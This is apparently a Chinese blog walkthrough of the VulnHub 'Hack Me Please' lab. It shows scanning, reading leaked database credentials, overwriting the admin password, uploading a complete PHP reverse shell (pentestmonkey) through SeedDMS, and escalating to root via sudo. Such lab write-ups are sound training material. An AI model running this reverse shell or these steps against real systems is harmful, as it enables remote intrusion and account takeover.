准备:

攻击机:虚拟机kali、本机win10。

靶机:HACK ME PLEASE,下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar,下载后直接vbox打开即可。

知识点:seeddms框架、敏感信息泄露、shell上传、目录扫描(较多)。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.110.4。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.4,显示开放了80、3306、33060端口,开启了apache、mysql服务。

目录扫描:

使用dirmap进行目录扫描,发现了一些图片文件和js文件,在http://192.168.110.4/js/main.js文件中发现了一个目录信息:/seeddms51x/seeddms-5.1.22/。

对新发现的两个目录进行扫描,发现了/conf、/data、/doc、/inc等目录和文件,登录界面:http://192.168.110.4//seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php,但是缺少账号和密码,也简单测试了下注入未成功。

对conf目录进行扫描,发现了/seeddms51x/conf/settings.xml,访问该文件查看是否隐藏有账户信息,意外发现了数据库的账号和密码信息:seeddms/seeddms。

数据库连接和web登录:

使用账户信息:seeddms/seeddms在navicat客户端进行连接,查看下数据库内的信息,在tblUsers中发现账户admin和其密码信息:admin

/f9ef2c539bad8a6d2f3432b6d49ab51a、以及:saket/Saket@#$1337。

修改数据库中admin账户的密码信息,在加密网站随便加密一串字符串,这里用的是upfine,将加密的字符串替换掉原来的加密字符串。

使用已知的账户名:admin和修改的密码:upfine,在http://192.168.110.4/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。

获取shell:

在登录的web中发现了一处上传功能,上传shell反弹脚本,脚本内容可在:https://www.revshells.com/网站中获取,选取PHP PentestMonkey模块即可,或复制下面代码。

shell反弹脚本

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.110.4';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0; if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
} if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
} $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} chdir("/"); umask(0); // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
} $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
} stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
} if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
} $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
} if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
} if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
} fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); function printit ($string) {
if (!$daemon) {
print "$string\n";
}
} ?>

使用上传功能上传shell.php脚本信息,上传之后会显示错误信息,但是在主目录下是可以正常看到上传的shell文件的。

然后需要查找下上传文件的目录信息,在下载的seeddms框架中找到了其数据存放的目录为1048576,因此对靶机该目录进行扫描,命令:dirsearch -u http://192.168.110.4/seeddms51x/data/1048576 -e *,发现了/1048576/6目录,继续对此目录进行扫描,发现了1.php文件。

kali端开启对6688端口的监听,然后访问该php文件,成功获得shell权限。

提权:

前往/home目录下简单的查看下都有哪些账户,发现了账户saket,前面在数据库中获得了这个账户的密码:Saket@#$1337,因此我们可以直接切换到saket账户。

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示是all,那就直接sudo su提权到root就好了。

最新文章

  1. mvc file控件无刷新异步上传操作
  2. Java进击C#——项目开发环境
  3. 循环写入Insert 与 SqlBulkcopy
  4. ExtJS + fileuploadfield上传文件代码
  5. ios 利用size classes 使 iPad &#160;水平和垂直方向布局不同
  6. mysql查询昨天本周上周上月
  7. 160926、Java-SpringMVC统一异常处理
  8. VC++打开对话框选择一个文件夹路径 BROWSEINFO结构
  9. Hibernate(八)一对多单向关联映射
  10. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞
  11. yii2 添加模块过程
  12. 17.1.1.8?Setting Up Replication with Existing Data设置复制使用存在的数据
  13. Linux Mint 17一周使用体验
  14. 第三周博客作业&lt;西北师范大学|李晓婷&gt;
  15. python爬虫,使用BeautifulSoup解析爬出来的HTML代码时报错
  16. 【mmall】url-pattern配置为&quot;/&quot;和&quot;/*&quot;的区别
  17. 网络流 KM dinic
  18. MyBatis关联查询,一对一关联查询
  19. (UML总结三)UML与软件project
  20. 服务器搭建5 Samba实现文件共享

热门文章

  1. 传输层协议(tcp ip和udp 三次握手 四次握手)
  2. Git pull 强制拉取并覆盖本地代码
  3. Ubuntu22.04 安装配置VNC Server
  4. WPF 的内部世界(控件与布局)
  5. vue通过插件实现PDF生成以及下载
  6. RabbitMQ原理和架构图解(附6大工作模式)
  7. C#-13 泛型
  8. 移动端300ms延迟问题和点击穿透问题
  9. C++面向对象编程之转换函数、explicit、one-argument
  10. SpringBoot-JavaMailSender接口实战